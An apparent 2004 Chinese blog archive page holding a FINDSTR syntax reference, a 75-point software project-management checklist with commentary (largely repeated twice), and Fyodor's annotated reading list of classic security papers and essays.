FINDSTR
Search for strings in files.
syntax
FINDSTR [options] [/F:file] [/C:string] [/G:file] [string(s)] [pathname(s)]
key
string Text to search for.
pathname(s) The file(s) to search.
/C:string Use string as a literal search string.
/G:file Get search string from a file (/ stands for console).
/F:file Get a list of pathname(s) from a file (/ stands for console).
/d dirlist Search a comma-delimited list of directories.
[options] may be any combination of the following switches:
/I Case-insensitive search.
/S Search subfolders.
/P Skip any file that contains non-printable characters
/L Use search string(s) literally.
/R Use search string(s) as regular expressions.(default)
/B Match pattern if at the Beginning of a line.
/E Match pattern if at the END of a line.
/X Print lines that match exactly.
/V Print only lines that do NOT contain a match. /N Print the line number before each line that matches.
/M Print only the filename if a file contains a match.
/O Print character offset before each matching line.
/a color_attribute Display filenames in colour (2 hex digits)
星期一, 五月 24, 2004
《七十五条》的解释
1. 你们的项目组使用源代码管理工具了么?
应该用。VSS、CVS、PVCS、ClearCase、CCC/Harvest、FireFly都可以。我的选择是VSS。
2. 你们的项目组使用缺陷管理系统了么?
应该用。ClearQuest太复杂,我的推荐是BugZilla。
3. 你们的测试组还在用Word写测试用例么?
不要用Word写测试用例(Test Case)。应该用一个专门的系统,可以是Test Manager,也可以是自己开发一个ASP.NET的小网站。主要目的是Track和Browse。
4. 你们的项目组有没有建立一个门户网站?
要有一个门户网站,用来放Contact Info、Baselined Schedule、News等等。推荐Sharepoint Portal Server 2003来实现,15分钟就搞定。买不起SPS 2003可以用WSS (Windows Sharepoint Service)。
5. 你们的项目组用了你能买到最好的工具么?
应该用尽量好的工具来工作。比如,应该用VS.NET而不是Notepad来写C#。用Notepad写程序多半只是一种炫耀。但也要考虑到经费,所以说是“你能买到最好的”。
6. 你们的程序员工作在安静的环境里么?
需要安静环境。这点极端重要,而且要保证每个人的空间大于一定面积。
7. 你们的员工每个人都有一部电话么?
需要每人一部电话。而且电话最好是带留言功能的。当然,上这么一套带留言电话系统开销不小。不过至少每人一部电话要有,千万别搞得经常有人站起来喊:“某某某电话”。《人件》里面就强烈谴责这种做法。
8. 你们每个人都知道出了问题应该找谁么?
应该知道。任何一个Feature至少都应该有一个Owner,当然,Owner可以继续Dispatch给其他人。
9. 你遇到过有人说“我以为…”么?
要消灭“我以为”。Never assume anything。
10. 你们的项目组中所有的人都坐在一起么?
需要。我反对Virtual Team,也反对Dev在美国、Test在中国这种开发方式。能坐在一起就最好坐在一起,好处多得不得了。
11. 你们的进度表是否反映最新开发进展情况?
应该反映。但是,应该用Baseline的方法来管理进度表:维护一份稳定的Schedule,再维护一份最新更改。Baseline的方法也应该用于其它的Spec。Baseline是变更管理里面的一个重要手段。
12. 你们的工作量是先由每个人自己估算的么?
应该让每个人自己估算。要从下而上估算工作量,而不是从上往下分派。除非有其他原因,比如政治任务工期固定等。
13. 你们的开发人员从项目一开始就加班么?
不要这样。不要一开始就搞疲劳战。从项目一开始就加班,只能说明项目进度不合理。当然,一些对日软件外包必须天天加班,那属于剥削的范畴。
14. 你们的项目计划中Buffer Time是加在每个小任务后面的么?
不要。Buffer Time加在每个小任务后面,很容易轻易的就被消耗掉。Buffer Time要整段的加在一个Milestone或者checkpoint前面。
15. 值得再多花一些时间,从95%做到100%好
值得,非常值得。尤其当项目后期人困马乏的时候,要坚持。这会给产品带来质的区别。
16. 登记新缺陷时,是否写清了重现步骤?
要。这属于Dev和Test之间的沟通手段。面对面沟通需要,详细填写Repro Steps也需要。
17. 写新代码前会把已知缺陷解决么?
要。每个人的缺陷不能超过10个或15个,否则必须先解决老的bug才能继续写新代码。
18. 你们对缺陷的轻重缓急有事先的约定么?
必须有定义。Severity要分1、2、3,约定好:蓝屏和Data Lost算Sev 1,Function Error算Sev 2,界面上的算Sev 3。但这种约定可以根据产品质量现状适当进行调整。
19. 你们对意见不一的缺陷有三国会议么?
必须要有。要有一个明确的决策过程。这类似于CCB (Change Control Board)的概念。
20. 所有的缺陷都是由登记的人最后关闭的么?
Bug应该由Opener关闭。Dev不能私自关闭Bug。
21. 你们的程序员厌恶修改老的代码么?
厌恶是正常的。解决方法是组织Code Review,单独留出时间来。XP也是一个方法。
22. 你们项目组有Team Morale Activity么?
每个月都要搞一次,吃饭、唱歌、Outing、打球、开卡丁车等等,一定要有。不要剩这些钱。
23. 你们项目组有自己的Logo么?
要有自己的Logo。至少应该有自己的Codename。
24. 你们的员工有印有公司Logo的T-Shirt么?
要有。能增强归属感。当然,T-Shirt要做的好看一些,最好用80支的棉来做。别没穿几次就破破烂烂的。
25. 总经理至少每月参加次项目组会议
要的。要让team member觉得高层关注这个项目。
26. 你们是给每个Dev开一个分支么?
反对。Branch的管理以及Merge的工作量太大,而且容易出错。
27. 有人长期不Check-In代码么?
不可以。对大部分项目来说,最多两三天就应该Check-In。
28. 在Check-In代码时都填写注释了么?
要写的,至少一两句话,比如“解决了Bug No.225”。如果往高处拔,这也算做“配置审计”的一部分。
29. 有没有设定每天Check-In的最后期限?
要的,要明确Check-In Deadline。否则会Build Break。
30. 你们能把所有源码一下子编译成安装文件吗?
要的。这是每日编译(Daily Build)的基础。而且必须要能够做成自动的。
31. 你们的项目组做每日编译么?
当然要做。有三样东西是软件项目/产品开发必备的:1. bug management; 2. source control; 3. daily build。
32. 你们公司有没有积累一个项目风险列表?
要。Risk Inventory。否则,下个项目开始的时候,又只能拍脑袋分析Risk了。
33. 设计越简单越好
越简单越好。设计时候多一句话,将来可能就带来无穷无尽的烦恼。应该从一开始就勇敢的砍。这叫scope management。
34. 尽量利用现有的产品、技术、代码
千万别什么东西都自己Coding。BizTalk和Sharepoint就是最好的例子,有这两个作为基础,可以把起点提高很多。或者可以尽量多用现成的Control之类的。或者尽量用XML,而不是自己去Parse一个文本文件;尽量用RegExp,而不是自己从头操作字符串,等等等等。这就是“软件复用”的体现。
35. 你们会隔一段时间就停下来夯实代码么?
要。最好一个月左右一次。传言去年年初Windows组在Stevb的命令下停过一个月增强安全。Btw,“夯”这个字念“hang”,第一声。
36. 你们的项目组每个人都写Daily Report么?
要写。五分钟就够了,写10句话左右,告诉自己小组的人今天我干了什么。一则为了沟通,二则鞭策自己(要是游手好闲一天,自己都会不好意思写的)。
37. 你们的项目经理会发出Weekly Report么?
要。也是为了沟通。内容包括目前进度,可能的风险,质量状况,各种工作的进展等。
38. 你们项目组是否至少每周全体开会一次?
要。一定要开会。程序员讨厌开会,但每个礼拜开会时间加起来至少应该有4小时。包括team meeting, spec review meeting, bug triage meeting。千万别大家闷头写code。
39. 你们项目组的会议、讨论都有记录么?
会前发meeting request和agenda,会中有人负责主持和记录,会后有人负责发meeting minutes,这都是effective meeting的要点。而且,每个会议都要形成agreements和action items。
40. 其他部门知道你们项目组在干什么么?
要发一些Newsflash给整个大组织。Show your team’s value。否则,当你坐在电梯里面,其他部门的人问:“你们在干嘛”,你回答“ABC项目”的时候,别人全然不知,那种感觉不太好。
41. 通过Email进行所有正式沟通
Email的好处是免得抵赖。但也要避免矫枉过正,最好的方法是先用电话和当面说,然后Email来确认。
42. 为项目组建立多个Mailing Group
如果在AD+Exchange里面,就建Distribution List。比如,我会建ABC Project Core Team,ABC Project Dev Team,ABC Project All Testers,ABC Project Extended Team等等。这样发起Email来方便,而且能让该收到email的人都收到、不该收到不被骚扰。
43. 每个人都知道哪里可以找到全部的文档么?
应该每个人都知道。这叫做知识管理(Knowledge Management)。最方便的就是把文档放在一个集中的File Share,更好的方法是用Sharepoint。
44. 你做决定、做变化时,告诉大家原因了么?
要告诉大家原因。Empower team member的手段之一是提供足够的information,这是MSF一开篇的几个原则之一。的确如此,tell me why是人之常情,tell me why了才能有understanding。中国人做事喜欢搞限制,限制信息,似乎能够看到某一份文件的人就是有身份的人。大错特错。权威、权力,不在于是不是能access information/data,而在于是不是掌握资源。
45. Stay agile and expect change
要这样。需求一定会变的,已经写好的代码一定会被要求修改的。做好心理准备,对change不要抗拒,而是expect change。
46. 你们有没有专职的软件测试人员?
要有专职测试。如果人手不够,可以peer test,交换了测试。千万别自己测试自己的。
47. 你们的测试有一份总的计划来规定做什么和怎么做么?
这就是Test Plan。要不要做性能测试?要不要做Usability测试?什么时候开始测试性能?测试通过的标准是什么?用什么手段,自动的还是手动的?这些问题需要用Test Plan来回答。
48. 你是先写Test Case然后再测试的么?
应该如此。应该先设计再编程、先test case再测试。当然,事情是灵活的。我有时候在做第一遍测试的同时补上test case。至于先test case再开发,我不喜欢,因为不习惯,太麻烦,至于别人推荐,那试试看也无妨。
49. 你是否会为各种输入组合创建测试用例?
不要,不要搞边界条件组合。当心组合爆炸。有很多test case工具能够自动生成各种边界条件的组合——但要想清楚,你是否有时间去运行那么多test case。
50. 你们的程序员能看到测试用例么?
要。让Dev看到Test Case吧。我们都是为了同一个目的走到一起来的:提高质量。
51. 你们是否随便抓一些人来做易用性测试?
要这么做。自己看自己写的程序界面,怎么看都是顺眼的。这叫做审美疲劳——臭的看久了也就不臭了,不方便的永久了也就习惯了。
52. 你对自动测试的期望正确么?
别期望太高。依我看,除了性能测试以外,还是暂时先忘掉“自动测试”吧,忘掉WinRunner和LoadRunner吧。对于国内的软件测试的现状来说,只能“矫枉必须过正”了。
53. 你们的性能测试是等所有功能都开发完才做的么?
不能这样。性能测试不能被归到所谓的“系统测试”阶段。早测早改正,早死早升天。
54. 你注意到测试中的杀虫剂效应了么?
虫子有抗药性,Bug也有。发现的新Bug越来越少是正常的。这时候,最好大家交换一下测试的area,或者用用看其他工具和手法,就又会发现一些新bug了。
55. 你们项目组中有人能说出产品的当前整体质量情况么?
要有。当老板问起这个产品目前质量如何,Test Lead/Manager应该负责回答。
56. 你们有单元测试么?
单元测试要有的。不过没有单元测试也不是不可以,我做过没有单元测试的项目,也做成功了——可能是侥幸,可能是大家都是熟手的关系。还是那句话,软件工程是非常实践、非常工程、非常灵活的一套方法,某些方法在某些情况下会比另一些方法好,反之亦然。
57. 你们的程序员是写完代码就扔过墙的么?
大忌。写好一块程序以后,即便不做单元测试,也应该自己先跑一跑。虽然有了专门的测试人员,做开发的人也不可以一点测试都不做。微软还有Test Release Document的说法,程序太烂的话,测试有权踢回去。
58. 你们的程序中所有的函数都有输入检查么?
不要。虽然说做输入检查是write secure code的要点,但不要做太多的输入检查,有些内部函数之间的参数传递就不必检查输入了,省点功夫。同样的道理,未必要给所有的函数都写注释。写一部分主要的就够了。
59. 产品有统一的错误处理机制和报错界面么?
要有。最好能有统一的error message,然后每个error message都带一个error number。这样,用户可以自己根据error number到user manual里面去看看错误的具体描述和可能原因,就像SQL Server的错误那样。同样,ASP.NET也要有统一的Exception处理。可以参考有关的Application Block。
60. 你们有统一的代码书写规范么?
要有。Code Convention很多,搞一份来发给大家就可以了。当然,要是有FxCop这种工具来检查代码就更好了。
61. 你们的每个人都了解项目的商业意义么?
要。这是Vision的意思。别把项目只当成工作。有时候要想着自己是在为中国某某行业的信息化作先驱者,或者时不时的告诉team member,这个项目能够为某某某国家部门每年节省多少多少百万的纳税人的钱,这样就有动力了。平凡的事情也是可以有个崇高的目标的。
62. 产品各部分的界面和操作习惯一致么?
要这样。要让用户觉得整个程序好像是一个人写出来的那样。
63. 有可以作为宣传亮点的Cool Feature么?
要。这是增强团队凝聚力、信心的。而且,“一俊遮百丑”,有亮点就可以掩盖一些问题。这样,对于客户来说,会感觉产品从质量角度来说还是acceptable的。或者说,cool feature或者说亮点可以作为质量问题的一个事后弥补措施。
64. 尽可能缩短产品的启动时间
要这样。软件启动时间(Start-Up time)是客户对性能好坏的第一印象。
65. 不要过于注重内在品质而忽视了第一眼的外在印象
程序员容易犯这个错误:太看重性能、稳定性、存储效率,但忽视了外在感受。而高层经理、客户正相反。这两方面要兼顾,协调这些是PM的工作。
66. 你们根据详细产品功能说明书做开发么?
要这样。要有设计才能开发,这是必须的。设计文档,应该说清楚这个产品会怎么运行,应该采取一些讲故事的方法。设计的时候千万别钻细节,别钻到数据库、代码等具体实现里面去,那些是后面的事情,一步步来不能着急。
67. 开始开发和测试之前每个人都仔细审阅功能设计么?
要做。Function Spec review是用来统一思想的。而且,review过以后形成了一致意见,将来再也没有人可以说“你看,当初我就是反对这么设计的,现在吃苦头了吧”
68. 所有人都始终想着The Whole Image么?
要这样。项目里面每个人虽然都只是在制造一片叶子,但每个人都应该知道自己在制造的那片叶子所在的树是怎么样子的。我反对软件蓝领,反对过分的把软件制造看成流水线、车间。参见第61条。
69. Dev工作的划分是单纯纵向或横向的么?
不能单纯的根据功能模块分,或者单纯根据表现层、中间层、数据库层分。我推荐这么做:首先根据功能模块分,然后每个“层”都有一个Owner来Review所有人的设计和代码,保证consistency。
70. 你们的程序员写程序设计说明文档么?
要。不过我听说微软的程序员1999年以前也不写。所以说,写不写也不是绝对的,偷懒有时候也是可以的。参见第56条。
71. 你在招人面试时让他写一段程序么?
要的。我最喜欢让人做字符串和链表一类的题目。这种题目有很多循环、判断、指针、递归等,既不偏向过于考算法,也不偏向过于考特定的API。
72. 你们有没有技术交流讲座?
要的。每一两个礼拜搞一次内部的Tech Talk或者Chalk Talk吧。让组员之间分享技术心得,这笔花钱送到外面去培训划算。
73. 你们的程序员都能专注于一件事情么?
要让程序员专注一件事。例如说,一个部门有两个项目和10个人,一种方法是让10个人同时参加两个项目,每个项目上每个人都花50%时间;另一种方法是5个人去项目A,5个人去项目B,每个人都100%在某一个项目上。我一定选后面一种。这个道理很多人都懂,但很多领导实践起来就把属下当成可以任意拆分的资源了。
74. 你们的程序员会夸大完成某项工作所需要的时间么?
会的,这是常见的,尤其会在项目后期夸大做某个change所需要的时间,以次来抵制change。解决的方法是坐下来慢慢磨,磨掉程序员的逆反心理,一起分析,并把估算时间的颗粒度变小。
75. 尽量不要用Virtual Heads
最好不要用Virtual Heads。Virtual heads意味着resource is not secure,shared resource会降低resource的工作效率,容易增加出错的机会,会让一心二用的人没有太多时间去review spec、review design。一个dedicated的人,要强过两个只能投入50%时间和精力的人。我是吃过亏的:7个part time的tester,发现的Bug和干的活,加起来还不如两个full-time的。参见第73条。73条是针对程序员的,75条是针对Resource Manager的。
应该用。VSS、CVS、PVCS、ClearCase、CCC/Harvest、FireFly都可以。我的选择是VSS。
2. 你们的项目组使用缺陷管理系统了么?
应该用。ClearQuest太复杂,我的推荐是BugZilla。
3. 你们的测试组还在用Word写测试用例么?
不要用Word写测试用例(Test Case)。应该用一个专门的系统,可以是Test Manager,也可以是自己开发一个ASP.NET的小网站。主要目的是Track和Browse。
4. 你们的项目组有没有建立一个门户网站?
要有一个门户网站,用来放Contact Info、Baselined Schedule、News等等。推荐Sharepoint Portal Server 2003来实现,15分钟就搞定。买不起SPS 2003可以用WSS (Windows Sharepoint Service)。
5. 你们的项目组用了你能买到最好的工具么?
应该用尽量好的工具来工作。比如,应该用VS.NET而不是Notepad来写C#。用Notepad写程序多半只是一种炫耀。但也要考虑到经费,所以说是“你能买到最好的”。
6. 你们的程序员工作在安静的环境里么?
需要安静环境。这点极端重要,而且要保证每个人的空间大于一定面积。
7. 你们的员工每个人都有一部电话么?
需要每人一部电话。而且电话最好是带留言功能的。当然,上这么一套带留言电话系统开销不小。不过至少每人一部电话要有,千万别搞得经常有人站起来喊:“某某某电话”。《人件》里面就强烈谴责这种做法。
8. 你们每个人都知道出了问题应该找谁么?
应该知道。任何一个Feature至少都应该有一个Owner,当然,Owner可以继续Dispatch给其他人。
9. 你遇到过有人说“我以为…”么?
要消灭“我以为”。Never assume anything。
10. 你们的项目组中所有的人都坐在一起么?
需要。我反对Virtual Team,也反对Dev在美国、Test在中国这种开发方式。能坐在一起就最好坐在一起,好处多得不得了。
11. 你们的进度表是否反映最新开发进展情况?
应该反映。但是,应该用Baseline的方法来管理进度表:维护一份稳定的Schedule,再维护一份最新更改。Baseline的方法也应该用于其它的Spec。Baseline是变更管理里面的一个重要手段。
12. 你们的工作量是先由每个人自己估算的么?
应该让每个人自己估算。要从下而上估算工作量,而不是从上往下分派。除非有其他原因,比如政治任务工期固定等。
13. 你们的开发人员从项目一开始就加班么?
不要这样。不要一开始就搞疲劳战。从项目一开始就加班,只能说明项目进度不合理。当然,一些对日软件外包必须天天加班,那属于剥削的范畴。
14. 你们的项目计划中Buffer Time是加在每个小任务后面的么?
不要。Buffer Time加在每个小任务后面,很容易轻易的就被消耗掉。Buffer Time要整段的加在一个Milestone或者checkpoint前面。
15. 值得再多花一些时间,从95%做到100%好
值得,非常值得。尤其当项目后期人困马乏的时候,要坚持。这会给产品带来质的区别。
16. 登记新缺陷时,是否写清了重现步骤?
要。这属于Dev和Test之间的沟通手段。面对面沟通需要,详细填写Repro Steps也需要。
17. 写新代码前会把已知缺陷解决么?
要。每个人的缺陷不能超过10个或15个,否则必须先解决老的bug才能继续写新代码。
18. 你们对缺陷的轻重缓急有事先的约定么?
必须有定义。Severity要分1、2、3,约定好:蓝屏和Data Lost算Sev 1,Function Error算Sev 2,界面上的算Sev 3。但这种约定可以根据产品质量现状适当进行调整。
19. 你们对意见不一的缺陷有三国会议么?
必须要有。要有一个明确的决策过程。这类似于CCB (Change Control Board)的概念。
20. 所有的缺陷都是由登记的人最后关闭的么?
Bug应该由Opener关闭。Dev不能私自关闭Bug。
21. 你们的程序员厌恶修改老的代码么?
厌恶是正常的。解决方法是组织Code Review,单独留出时间来。XP也是一个方法。
22. 你们项目组有Team Morale Activity么?
每个月都要搞一次,吃饭、唱歌、Outing、打球、开卡丁车等等,一定要有。不要剩这些钱。
23. 你们项目组有自己的Logo么?
要有自己的Logo。至少应该有自己的Codename。
24. 你们的员工有印有公司Logo的T-Shirt么?
要有。能增强归属感。当然,T-Shirt要做的好看一些,最好用80支的棉来做。别没穿几次就破破烂烂的。
25. 总经理至少每月参加次项目组会议
要的。要让team member觉得高层关注这个项目。
26. 你们是给每个Dev开一个分支么?
反对。Branch的管理以及Merge的工作量太大,而且容易出错。
27. 有人长期不Check-In代码么?
不可以。对大部分项目来说,最多两三天就应该Check-In。
28. 在Check-In代码时都填写注释了么?
要写的,至少一两句话,比如“解决了Bug No.225”。如果往高处拔,这也算做“配置审计”的一部分。
29. 有没有设定每天Check-In的最后期限?
要的,要明确Check-In Deadline。否则会Build Break。
30. 你们能把所有源码一下子编译成安装文件吗?
要的。这是每日编译(Daily Build)的基础。而且必须要能够做成自动的。
31. 你们的项目组做每日编译么?
当然要做。有三样东西是软件项目/产品开发必备的:1. bug management; 2. source control; 3. daily build。
32. 你们公司有没有积累一个项目风险列表?
要。Risk Inventory。否则,下个项目开始的时候,又只能拍脑袋分析Risk了。
33. 设计越简单越好
越简单越好。设计时候多一句话,将来可能就带来无穷无尽的烦恼。应该从一开始就勇敢的砍。这叫scope management。
34. 尽量利用现有的产品、技术、代码
千万别什么东西都自己Coding。BizTalk和Sharepoint就是最好的例子,有这两个作为基础,可以把起点提高很多。或者可以尽量多用现成的Control之类的。或者尽量用XML,而不是自己去Parse一个文本文件;尽量用RegExp,而不是自己从头操作字符串,等等等等。这就是“软件复用”的体现。
35. 你们会隔一段时间就停下来夯实代码么?
要。最好一个月左右一次。传言去年年初Windows组在Stevb的命令下停过一个月增强安全。Btw,“夯”这个字念“hang”,第一声。
36. 你们的项目组每个人都写Daily Report么?
要写。五分钟就够了,写10句话左右,告诉自己小组的人今天我干了什么。一则为了沟通,二则鞭策自己(要是游手好闲一天,自己都会不好意思写的)。
37. 你们的项目经理会发出Weekly Report么?
要。也是为了沟通。内容包括目前进度,可能的风险,质量状况,各种工作的进展等。
38. 你们项目组是否至少每周全体开会一次?
要。一定要开会。程序员讨厌开会,但每个礼拜开会时间加起来至少应该有4小时。包括team meeting, spec review meeting, bug triage meeting。千万别大家闷头写code。
39. 你们项目组的会议、讨论都有记录么?
会前发meeting request和agenda,会中有人负责主持和记录,会后有人负责发meeting minutes,这都是effective meeting的要点。而且,每个会议都要形成agreements和action items。
40. 其他部门知道你们项目组在干什么么?
要发一些Newsflash给整个大组织。Show your team’s value。否则,当你坐在电梯里面,其他部门的人问:“你们在干嘛”,你回答“ABC项目”的时候,别人全然不知,那种感觉不太好。
41. 通过Email进行所有正式沟通
Email的好处是免得抵赖。但也要避免矫枉过正,最好的方法是先用电话和当面说,然后Email来确认。
42. 为项目组建立多个Mailing Group
如果在AD+Exchange里面,就建Distribution List。比如,我会建ABC Project Core Team,ABC Project Dev Team,ABC Project All Testers,ABC Project Extended Team等等。这样发起Email来方便,而且能让该收到email的人都收到、不该收到不被骚扰。
43. 每个人都知道哪里可以找到全部的文档么?
应该每个人都知道。这叫做知识管理(Knowledge Management)。最方便的就是把文档放在一个集中的File Share,更好的方法是用Sharepoint。
44. 你做决定、做变化时,告诉大家原因了么?
要告诉大家原因。Empower team member的手段之一是提供足够的information,这是MSF一开篇的几个原则之一。的确如此,tell me why是人之常情,tell me why了才能有understanding。中国人做事喜欢搞限制,限制信息,似乎能够看到某一份文件的人就是有身份的人。大错特错。权威、权力,不在于是不是能access information/data,而在于是不是掌握资源。
45. Stay agile and expect change
要这样。需求一定会变的,已经写好的代码一定会被要求修改的。做好心理准备,对change不要抗拒,而是expect change。
46. 你们有没有专职的软件测试人员?
要有专职测试。如果人手不够,可以peer test,交换了测试。千万别自己测试自己的。
47. 你们的测试有一份总的计划来规定做什么和怎么做么?
这就是Test Plan。要不要做性能测试?要不要做Usability测试?什么时候开始测试性能?测试通过的标准是什么?用什么手段,自动的还是手动的?这些问题需要用Test Plan来回答。
48. 你是先写Test Case然后再测试的么?
应该如此。应该先设计再编程、先test case再测试。当然,事情是灵活的。我有时候在做第一遍测试的同时补上test case。至于先test case再开发,我不喜欢,因为不习惯,太麻烦,至于别人推荐,那试试看也无妨。
49. 你是否会为各种输入组合创建测试用例?
不要,不要搞边界条件组合。当心组合爆炸。有很多test case工具能够自动生成各种边界条件的组合——但要想清楚,你是否有时间去运行那么多test case。
50. 你们的程序员能看到测试用例么?
要。让Dev看到Test Case吧。我们都是为了同一个目的走到一起来的:提高质量。
51. 你们是否随便抓一些人来做易用性测试?
要这么做。自己看自己写的程序界面,怎么看都是顺眼的。这叫做审美疲劳——臭的看久了也就不臭了,不方便的永久了也就习惯了。
52. 你对自动测试的期望正确么?
别期望太高。依我看,除了性能测试以外,还是暂时先忘掉“自动测试”吧,忘掉WinRunner和LoadRunner吧。对于国内的软件测试的现状来说,只能“矫枉必须过正”了。
53. 你们的性能测试是等所有功能都开发完才做的么?
不能这样。性能测试不能被归到所谓的“系统测试”阶段。早测早改正,早死早升天。
54. 你注意到测试中的杀虫剂效应了么?
虫子有抗药性,Bug也有。发现的新Bug越来越少是正常的。这时候,最好大家交换一下测试的area,或者用用看其他工具和手法,就又会发现一些新bug了。
55. 你们项目组中有人能说出产品的当前整体质量情况么?
要有。当老板问起这个产品目前质量如何,Test Lead/Manager应该负责回答。
56. 你们有单元测试么?
单元测试要有的。不过没有单元测试也不是不可以,我做过没有单元测试的项目,也做成功了——可能是侥幸,可能是大家都是熟手的关系。还是那句话,软件工程是非常实践、非常工程、非常灵活的一套方法,某些方法在某些情况下会比另一些方法好,反之亦然。
57. 你们的程序员是写完代码就扔过墙的么?
大忌。写好一块程序以后,即便不做单元测试,也应该自己先跑一跑。虽然有了专门的测试人员,做开发的人也不可以一点测试都不做。微软还有Test Release Document的说法,程序太烂的话,测试有权踢回去。
58. 你们的程序中所有的函数都有输入检查么?
不要。虽然说做输入检查是write secure code的要点,但不要做太多的输入检查,有些内部函数之间的参数传递就不必检查输入了,省点功夫。同样的道理,未必要给所有的函数都写注释。写一部分主要的就够了。
59. 产品有统一的错误处理机制和报错界面么?
要有。最好能有统一的error message,然后每个error message都带一个error number。这样,用户可以自己根据error number到user manual里面去看看错误的具体描述和可能原因,就像SQL Server的错误那样。同样,ASP.NET也要有统一的Exception处理。可以参考有关的Application Block。
60. 你们有统一的代码书写规范么?
要有。Code Convention很多,搞一份来发给大家就可以了。当然,要是有FxCop这种工具来检查代码就更好了。
61. 你们的每个人都了解项目的商业意义么?
要。这是Vision的意思。别把项目只当成工作。有时候要想着自己是在为中国某某行业的信息化作先驱者,或者时不时的告诉team member,这个项目能够为某某某国家部门每年节省多少多少百万的纳税人的钱,这样就有动力了。平凡的事情也是可以有个崇高的目标的。
62. 产品各部分的界面和操作习惯一致么?
要这样。要让用户觉得整个程序好像是一个人写出来的那样。
63. 有可以作为宣传亮点的Cool Feature么?
要。这是增强团队凝聚力、信心的。而且,“一俊遮百丑”,有亮点就可以掩盖一些问题。这样,对于客户来说,会感觉产品从质量角度来说还是acceptable的。或者说,cool feature或者说亮点可以作为质量问题的一个事后弥补措施。
64. 尽可能缩短产品的启动时间
要这样。软件启动时间(Start-Up time)是客户对性能好坏的第一印象。
65. 不要过于注重内在品质而忽视了第一眼的外在印象
程序员容易犯这个错误:太看重性能、稳定性、存储效率,但忽视了外在感受。而高层经理、客户正相反。这两方面要兼顾,协调这些是PM的工作。
66. 你们根据详细产品功能说明书做开发么?
要这样。要有设计才能开发,这是必须的。设计文档,应该说清楚这个产品会怎么运行,应该采取一些讲故事的方法。设计的时候千万别钻细节,别钻到数据库、代码等具体实现里面去,那些是后面的事情,一步步来不能着急。
67. 开始开发和测试之前每个人都仔细审阅功能设计么?
要做。Function Spec review是用来统一思想的。而且,review过以后形成了一致意见,将来再也没有人可以说“你看,当初我就是反对这么设计的,现在吃苦头了吧”
68. 所有人都始终想着The Whole Image么?
要这样。项目里面每个人虽然都只是在制造一片叶子,但每个人都应该知道自己在制造的那片叶子所在的树是怎么样子的。我反对软件蓝领,反对过分的把软件制造看成流水线、车间。参见第61条。
69. Dev工作的划分是单纯纵向或横向的么?
不能单纯的根据功能模块分,或者单纯根据表现层、中间层、数据库层分。我推荐这么做:首先根据功能模块分,然后每个“层”都有一个Owner来Review所有人的设计和代码,保证consistency。
70. 你们的程序员写程序设计说明文档么?
要。不过我听说微软的程序员1999年以前也不写。所以说,写不写也不是绝对的,偷懒有时候也是可以的。参见第56条。
71. 你在招人面试时让他写一段程序么?
要的。我最喜欢让人做字符串和链表一类的题目。这种题目有很多循环、判断、指针、递归等,既不偏向过于考算法,也不偏向过于考特定的API。
72. 你们有没有技术交流讲座?
要的。每一两个礼拜搞一次内部的Tech Talk或者Chalk Talk吧。让组员之间分享技术心得,这笔花钱送到外面去培训划算。
73. 你们的程序员都能专注于一件事情么?
要让程序员专注一件事。例如说,一个部门有两个项目和10个人,一种方法是让10个人同时参加两个项目,每个项目上每个人都花50%时间;另一种方法是5个人去项目A,5个人去项目B,每个人都100%在某一个项目上。我一定选后面一种。这个道理很多人都懂,但很多领导实践起来就把属下当成可以任意拆分的资源了。
74. 你们的程序员会夸大完成某项工作所需要的时间么?
会的,这是常见的,尤其会在项目后期夸大做某个change所需要的时间,以次来抵制change。解决的方法是坐下来慢慢磨,磨掉程序员的逆反心理,一起分析,并把估算时间的颗粒度变小。
75. 尽量不要用Virtual Heads
最好不要用Virtual Heads。Virtual heads意味着resource is not secure,shared resource会降低resource的工作效率,容易增加出错的机会,会让一心二用的人没有太多时间去review spec、review design。一个dedicated的人,要强过两个只能投入50%时间和精力的人。我是吃过亏的:7个part time的tester,发现的Bug和干的活,加起来还不如两个full-time的。参见第73条。73条是针对程序员的,75条是针对Resource Manager的。
星期日, 五月 23, 2004
星期六, 五月 22, 2004
Fyodor‘s Good Reading List
Fyodor‘s Good Reading List
The Hacker Howto. This excellent essay by Eric Raymond (ESR) gives very insightful instruction on how to become a respected member of the hacker community.
The Risks of Key Recovery, Key Escrow, and Trusted Third-Party Encryption A great paper released 27 May 1997 by several of the biggest names in encryption and computer security, including Steven Bellovin, Matt Blaze, Whitfield Diffie, and John Gilmore. This describes exactly why we aren‘t going to let the government backdoor our crypto programs.
Smashing The Stack For Fun And Profit A great paper on buffer overflows by Aleph One. It is from Phrack49.
Mudge‘s tutorial on writing Buffer overflows. Another good paper.
IP hijacking paper A paper by Laurent Joncheray on the workings of IP hijacking.
The Hacker Crackdown A truly excellent book by Bruce Sterling about the early hackers. Mr. Sterling kindly (and much to the dismay of his publisher) decided to release the book freely over the internet.
Approaching Zero Another hacker book in electronic form. This one is about British phreaks.
Security Problems in the TCP/IP Protocol Suite An old but very interesting (and sadly, still applicable in many ways) paper by Steven Bellovin himself.
Them and Us:Chapter 6 of Paul Taylor‘s hacker book (basically publishing his dissertation)
cifs.txt *Hobbit*‘s excellent CIFS insecurities paper.
Hacker Encyclopedia This is a huge compendium of hacker/computer/science fiction information written by Logic Bomb. It is not word wrapped, so you will probably want to read it with vi or emacs rather than netscape
Tamperproof Smart Cards This is a very interesting paper by Ross J. Anderson It brings up a number of very interesting issues about defeating smart card security.
Murphy‘s Law and Computer Security A paper by Wietse Venema which details many often overlooked aspects of computer security and program bugs. This paper is loaded with examples.
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection A classic apper by Thomas Ptacek and Timothy Newsham on techniques for evading Intrusion Detection Systems. This was written in ‘98, but much of it still rings true in ‘01 :( . [PDF version]
Lighter Reading / Misc
What makes UNIX users so smart? An excellent essay on the relationship between literature and the powerful, flexible command-line interface to UNIX.
Richard Stallman‘s excellent essay on the right to read. It is short and insightful. Take 2 minutes and read it!
"The hollowing out of ourselves" an excellent essay by Stephen Talbott about the pathetic lack of real content on the web today and the pointlessness of embracing new technology for its own sake, rather than to achieve any actual ends.
"Why Cryptography is Harder Than it Looks" an essay by Bruce Schneier describing the many problems unique to developing cryptosystems. It really is more interesting than it sounds.
Concerning Hackers Who Break into Computer Systems by Dorothy E. Denning This is a somewhat dry, but rather interesting paper by someone best known for siding with the spooks and favoring export controls on cryptography. She interviewed many hackers and it is interesting to see things through her eyes.
UNIX Wars A hilarious spoof on star wars involving the fight between common users and fascist administrators who seek to destroy all productivity.
The Hacker Howto. This excellent essay by Eric Raymond (ESR) gives very insightful instruction on how to become a respected member of the hacker community.
